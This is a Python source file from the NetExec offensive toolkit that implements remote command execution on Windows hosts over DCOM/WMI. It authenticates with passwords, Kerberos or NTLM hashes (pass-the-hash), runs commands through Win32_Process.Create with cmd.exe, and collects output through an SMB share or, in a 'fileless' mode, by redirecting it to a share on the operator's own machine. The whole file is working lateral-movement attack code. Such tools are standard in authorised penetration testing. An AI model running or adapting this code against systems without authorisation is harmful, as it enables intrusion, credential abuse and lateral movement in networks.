NetExec/cme/protocols/smb/wmiexec.py

172 lines
5.2 KiB
Python
Executable File

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ntpath
import os
from time import sleep
from cme.helpers.misc import gen_random_string
from cme.logger import cme_logger
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
class WMIEXEC:
def __init__(
self,
target,
share_name,
username,
password,
domain,
smbconnection,
doKerberos=False,
aesKey=None,
kdcHost=None,
hashes=None,
share=None,
):
self.__target = target
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ""
self.__nthash = ""
self.__share = share
self.__smbconnection = smbconnection
self.__output = None
self.__outputBuffer = b""
self.__share_name = share_name
self.__shell = "cmd.exe /Q /c "
self.__pwd = "C:\\"
self.__aesKey = aesKey
self.__kdcHost = kdcHost
self.__doKerberos = doKerberos
self.__retOutput = True
self.logger = cme_logger
if hashes is not None:
# This checks to see if we didn't provide the LM Hash
if hashes.find(":") != -1:
self.__lmhash, self.__nthash = hashes.split(":")
else:
self.__nthash = hashes
if self.__password is None:
self.__password = ""
self.__dcom = DCOMConnection(
self.__target,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
)
iInterface = self.__dcom.CoCreateInstanceEx(
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
iWbemLevel1Login.RemRelease()
self.__win32Process, _ = iWbemServices.GetObject("Win32_Process")
def execute(self, command, output=False):
self.__retOutput = output
if self.__retOutput:
self.__smbconnection.setTimeout(100000)
if os.path.isfile(command):
with open(command) as commands:
for c in commands:
self.execute_handler(c.strip())
else:
self.execute_handler(command)
self.__dcom.disconnect()
return self.__outputBuffer
def cd(self, s):
self.execute_remote("cd " + s)
if len(self.__outputBuffer.strip("\r\n")) > 0:
self.__outputBuffer = b""
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote("cd ")
self.__pwd = self.__outputBuffer.strip("\r\n")
self.__outputBuffer = b""
def output_callback(self, data):
self.__outputBuffer += data
def execute_handler(self, data):
if self.__retOutput:
try:
self.logger.debug("Executing remote")
self.execute_remote(data)
except:
self.cd("\\")
self.execute_remote(data)
else:
self.execute_remote(data)
def execute_remote(self, data):
self.__output = "\\Windows\\Temp\\" + gen_random_string(6)
command = self.__shell + data
if self.__retOutput:
command += " 1> " + f"{self.__output}" + " 2>&1"
self.logger.debug("Executing command: " + command)
self.__win32Process.Create(command, self.__pwd, None)
self.get_output_remote()
def execute_fileless(self, data):
self.__output = gen_random_string(6)
local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
command = (
self.__shell
+ data
+ f" 1> \\\\{local_ip}\\{self.__share_name}\\{self.__output} 2>&1"
)
self.logger.debug("Executing command: " + command)
self.__win32Process.Create(command, self.__pwd, None)
self.get_output_fileless()
def get_output_fileless(self):
while True:
try:
with open(
os.path.join("/tmp", "cme_hosted", self.__output), "r"
) as output:
self.output_callback(output.read())
break
except IOError:
sleep(2)
def get_output_remote(self):
if self.__retOutput is False:
self.__outputBuffer = ""
return
while True:
try:
self.__smbconnection.getFile(
self.__share, self.__output, self.output_callback
)
break
except Exception as e:
if str(e).find("STATUS_SHARING_VIOLATION") >= 0:
# Output not finished, let's wait
sleep(2)
pass
else:
# print str(e)
pass
self.__smbconnection.deleteFile(self.__share, self.__output)